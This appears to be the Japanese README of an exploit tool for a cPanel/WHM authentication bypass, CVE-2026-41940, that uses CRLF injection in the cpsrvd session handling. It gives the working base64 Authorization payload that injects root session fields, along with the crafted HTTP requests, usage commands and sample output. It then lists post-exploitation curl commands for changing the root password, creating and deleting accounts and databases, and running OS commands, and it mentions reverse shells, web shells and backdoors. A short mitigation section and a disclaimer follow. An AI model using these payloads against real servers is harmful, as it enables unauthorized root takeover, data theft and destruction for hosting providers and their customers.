
cPanel/WHM CVE-2026-41940 向けの重大な認証バイパスエクスプロイト。cpsrvd デーモンの CRLF インジェクションを悪用し、認証情報なしで root の WHM アクセスを取得します。バージョン検出、詳細ログ、プロキシサポート、JSON レポート、および侵害後のアカウント列挙を備えています。許可されたセキュリティテスト専用です。
cPanel/WHM cpsrvd デーモンにおけるCRLFインジェクションによる重大な認証バイパス
CVE-2026-41940 は、cPanel & WHM における重大な認証バイパス脆弱性であり、認証されていないリモート攻撃者がサーバーへのルートレベルの管理アクセスを取得できるようにします。この脆弱性は
cpsrvdデーモンのセッション処理、具体的にはCpanel/Session.pm内に存在し、whostmgrsessionCookie およびAuthorizationヘッダー内の行区切り文字(CRLF)の中和が不適切なため、セッションパラメータの注入が可能になります。
| CVSSスコア | エクスプロイト種別 | 影響 | 攻撃ベクトル |
|---|---|---|---|
| 9.8 | 認証バイパス | ルートアクセス | ネットワーク |
このエクスプロイトツールは、以下の主な機能を提供します:
🔓 認証バイパス - 認証情報なしでルートWHMアクセスを取得
🛡️ 複数のバイパス手法 - さまざまな検証方法を自動的に試行
🌐 プロキシサポート - HTTP/HTTPSプロキシ経由でトラフィックをルーティング
📊 JSONレポート - 詳細な評価レポートを生成
📝 包括的なロギング - タイムスタンプ付きの詳細デバッグモード
🔍 バージョン検出 - 脆弱なバージョンを自動的に検出・確認
👥 アカウント列挙 - エクスプロイト後にすべてのcPanelアカウントを一覧表示
🎯 複数のエンドポイント - 検証のためにさまざまなAPIエンドポイントを試行
この脆弱性は、主に2つの問題に起因します:
セッションストレージにおけるCRLFインジェクション - saveSession 関数は、セッションファイルへの書き込み前に pass フィールド内の改行文字(\n)をサニタイズしないため、任意のセッションパラメータの注入が可能になります。
条件付きエンコーディングバイパス - セッションCookieに ob 部分(カンマ以降のセグメント)がない場合、pass 値はエンコードされずに(平文で)書き込まれるため、CRLFシーケンスの注入が可能になります。
# Python 3.6 or higher required
python3 --version
# Install required packages
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit
python3 exploit.py --target https://target.com:2087
# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose
# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080
# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts
# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30
=======================================================
CVE-2026-41940 - cPanel/WHM Authentication Bypass
Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
Exploit Version: 1.0
=======================================================
Target : https://target.com:2087
Started : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}
=======================================================
EXPLOIT SUCCESSFUL
=======================================================
Target : https://target.com:2087
Token : /cpsess1234567890
Admin URL : https://target.com:2087/cpsess1234567890/
Version : 11.110.0.85
Verification Method : url_format
Completed : 2026-07-26 22:23:25
=======================================================
[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================
このエクスプロイトはまず、失敗したログインを試みることで事前認証セッションCookieを取得します:
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrong_pass
レスポンス:
Set-Cookie: whostmgrsession=base64_encoded_data
細工されたAuthorizationヘッダーが悪意のあるセッションパラメータを注入します:
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]
デコードされたペイロード:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
サーバーは管理セッショントークンを含むリダイレクトで応答します:
Location: /cpsess1234567890/
エクスプロイトはルートアクセスを確認するために複数の検証方法を試みます。
エクスプロイトが成功したら、取得したトークンを使用して以下のコマンドを実行します:
# Get server version
curl -k "https://target.com:2087/cpsess-1234567890/json-api/version?api.version=1"
# Get server information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_info?api.version=1"
# Get hostname
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_hostname?api.version=1"
# Get load average
curl -k "https://target.com:2087/cpsess-1234567890/json-api/loadavg?api.version=1"
# Get CPU usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_cpu_usage?api.version=1"
# Get memory usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_memory_usage?api.version=1"
# Get disk usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_disk_usage?api.version=1"
# Server time
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_time?api.version=1"
# Service status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/service_status?api.version=1"
# List all cPanel accounts
curl -k "https://target.com:2087/cpsess-1234567890/json-api/listaccts?api.version=1"
# List accounts with details
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_list?api.version=1"
# Account summary
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_summary?api.version=1"
# Domain information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/domain_info?api.version=1"
# Email statistics
curl -k "https://target.com:2087/cpsess-1234567890/json-api/email_stats?api.version=1"
# PHP configuration
curl -k "https://target.com:2087/cpsess-1234567890/json-api/php_ini?api.version=1"
# Server status
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/serverstatus"
# System information
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/sysinfo"
# List accounts (alternative )
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/listaccts"
# Show processes
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/showprocs"
# Disk usage
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/diskusage"
# Change user password
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/passwd" \
-d "user=root&pass=NewP@ss123"
# Create new account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/createacct" \
-d "username=testuser&domain=test.com&password=TestPass123&plan=default"
# Execute OS commands
curl -k -X POST "https://target.com:2087/cpsess-1234567890/scripts/run_script" \
-d "script=id"
# Suspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/suspendacct" \
-d "user=testuser"
# Unsuspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/unsuspendacct" \
-d "user=testuser"
# Remove account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/removeacct" \
-d "user=testuser"
# Get security advisor info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/security_advisor?api.version=1"
# Get SSH key info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_ssh_keys?api.version=1"
# Check firewall status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/firewall_status?api.version=1"
# Get SSL certificates
curl -k "https://target.com:2087/cpsess-1234567890/json-api/ssl_certificates?api.version=1"
# List MySQL databases
curl -k "https://target.com:2087/cpsess-1234567890/json-api/databases?api.version=1"
# Create database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/create_db" \
-d "db=test_db"
# Delete database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/delete_db" \
-d "db=test_db"
# List database users
curl -k "https://target.com:2087/cpsess-1234567890/json-api/db_users?api.version=1"
ルートWHMアクセスを取得すると、攻撃者は以下が可能になります:
🔍 すべてのcPanelアカウントの一覧表示
👤 新しいcPanelアカウントの作成
🔑 アカウントパスワードの変更
❌ アカウントの削除または停止
🖥️ OSコマンドの実行
🔄 ルートパスワードの変更
📊 サーバー統計情報の表示
🗄️ MySQLデータベースの管理
🐚 リバースシェルの展開
🌐 Webシェルのインストール
🗝️ バックドアのインストール
🔒 隠し管理者アカウントの作成
📁 サーバー上のすべてのファイルへのアクセス
💾 データベースのエクスポート
📧 メールアカウントの読み取り
🔐 SSL証明書へのアクセス
# 1. Update cPanel/WHM immediately
/scripts/upcp --force
# 2. Invalidate all active sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
# 3. Restrict WHM access to trusted IPs
# Add to /etc/csf/csf.conf
# Or configure firewall
# 4. Enable Multi-Factor Authentication (MFA )
# WHM > Security Center > Two-Factor Authentication
# 5. Change ALL passwords
# - Root password
# - All cPanel user passwords
# - Database passwords
# - FTP passwords
# 6. Audit system for backdoors
find / -type f -mtime -7 -name "*.php" -o -name "*.pl" -o -name "*.cgi"
# 7. Check for malicious cron jobs
crontab -l
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
# 8. Check SSH authorized keys
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ==="
cat /home/$user/.ssh/authorized_keys 2>/dev/null
done
✅ CRLFインジェクションを防ぐための厳格な入力検証の実装
✅ 悪意のあるリクエストを検出・ブロックするWAFルールの展開
✅ WHMに対するIPベースのアクセス制限の有効化
✅ cPanel/WHMを最新バージョンに定期的に更新
✅ 定期的なセキュリティ評価の実施
✅ 不審なアクティビティのログ監視
✅ 最小権限の原則の実装
✅ WHMでSecurity Advisorを有効化
✅ 定期的なセキュリティ監査
✅ 侵入検知システムの実装
{
"timestamp": "2026-07-26T22:23:25.123456",
"target": "https://target.com:2087",
"status": "success",
"token": "1234567890",
"detected_version": "11.110.0.85",
"vulnerable": true,
"verification_method": "url_format",
"notes": "Root access confirmed; Token verified",
"exploit_name": "CVE-2026-41940",
"cvss_score": "9.8",
"description": "cPanel/WHM Authentication Bypass via CRLF Injection",
"exploit_version": "1.0"
}
このツールは、教育および倫理的なセキュリティ研究目的のみで提供されています。作者およびコントリビューターは、本ソフトウェアの誤用または損害について一切の責任を負いません。このツールを使用することにより、ご自身の行動に対するすべての責任を負うことに同意したものとみなされます。システム上でテストを実施する前に、必ず明示的な許可を取得してください。
コントリビューションを歓迎します!以下の手順に従ってください:
🍴 リポジトリをフォーク
🔧 機能ブランチを作成(git checkout -b feature/amazing-feature)
💾 変更をコミット(git commit -m 'Add amazing feature')
📤 ブランチにプッシュ(git push origin feature/amazing-feature)
🔃 プルリクエストを開く
🎉 初回リリース
🔓 CRLFインジェクションエクスプロイトの実装
🛡️ 複数の検証バイパス手法
📊 JSONレポート生成
🌐 プロキシサポート
📝 包括的なロギング
🔍 バージョン検出
👥 アカウント列挙
📚 包括的なエクスプロイト後コマンド
セキュリティアドバイザリ - [email protected]
GitHub Issues - イシューを作成
⚠️ 忘れないでください:大きな力には大きな責任が伴います!倫理的に使用してください! ⚠️
セキュリティコミュニティのために ❤️ を込めて制作
| 属性 | 値 |
|---|
| CVE ID | CVE-2026-41940 |
| CVSSスコア | 9.8(重大) |
| 脆弱性の種類 | CRLFインジェクションによる認証バイパス |
| 影響を受けるコンポーネント | cpsrvdデーモン(Cpanel/Session.pm) |
| 攻撃ベクトル | ネットワーク |
| 影響 | 完全なルートアクセス |
| 悪用条件 | 認証なしのリモート |
| リリーストラック | 影響を受ける上限 | パッチ適用バージョン |
|---|
| 11.110.x | 11.110.0.96 | 11.110.0.97 |
| 11.118.x | 11.118.0.62 | 11.118.0.63 |
| 11.126.x | 11.126.0.53 | 11.126.0.54 |
| 11.132.x | 11.132.0.28 | 11.132.0.29 |
| 11.134.x | 11.134.0.19 | 11.134.0.20 |
| 11.136.x | 11.136.0.4 | 11.136.0.5 |
| 引数 | 省略形 | 必須 | 説明 |
|---|
--target | -t | ✅ | ターゲットURL(例:https://target.com:2087) |
--verbose | -v | ❌ | 詳細/デバッグ出力を有効化 |
--proxy | -p | ❌ | プロキシURL(例:http://127.0.0.1:8080) |
--output | -o | ❌ | JSONレポートの出力ファイル |
--timeout | ❌ | リクエストタイムアウト(秒)(デフォルト: 10) | |
--list-accounts | -l | ❌ | エクスプロイト成功後にcPanelアカウントを一覧表示 |
--version | ❌ | エクスプロイトのバージョンを表示 |